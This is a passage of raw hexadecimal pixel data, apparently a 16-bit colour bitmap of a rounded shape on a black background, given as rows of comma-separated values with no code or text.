0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0001,0x0823,0x1023,0x0823,0x0823,0x0823,0x0823,0x0823,0x0823,0x0823,0x0823,0x0823,0x0823,0x0823,0x0823,0x0823,0x0823,0x0823,0x0823,0x0823,0x0823,0x1023,0x0822,0x0001,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0001,0x2869,0x50D2,0x6918,0x711A,0x793B,0x793B,0x793B,0x793B,0x793B,0x793B,0x793B,0x793B,0x793B,0x793B,0x793B,0x793B,0x793B,0x793B,0x793B,0x793B,0x793B,0x793B,0x793B,0x793B,0x711A,0x68F7,0x48B1,0x2047,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1846,0x60F5,0x815E,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x813D,0x50D3,0x1024,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x2069,0x793B,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x7119,0x1846,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1847,0x793B,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x6919,0x1024,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0801,0x60F6,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x50D3,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x286A,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x813D,0x1847,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x58D4,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x48B0,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0822,0x711A,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x60F7,0x0001,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1024,0x793C,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x815E,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x711A,0x0802,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1025,0x793C,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x793C,0x58D4,0x388D,0x2869,0x2048,0x2869,0x388E,0x58F5,0x813D,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x713B,0x0822,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1025,0x793C,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x813E,0x48B1,0x1025,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1846,0x58D4,0x895E,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x713B,0x0822,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1025,0x793C,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x793C,0x286A,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x388D,0x813D,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x713B,0x0822,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1025,0x793C,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x813D,0x2869,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x388D,0x815E,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x713B,0x0822,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1025,0x793C,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x40AE,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x50D2,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x713B,0x0822,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1025,0x793C,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x6919,0x0822,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1025,0x793C,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x713B,0x0822,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1025,0x793C,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x40AE,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x50D3,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x713B,0x0822,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1025,0x793C,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x815E,0x2047,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x306B,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x713B,0x0822,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 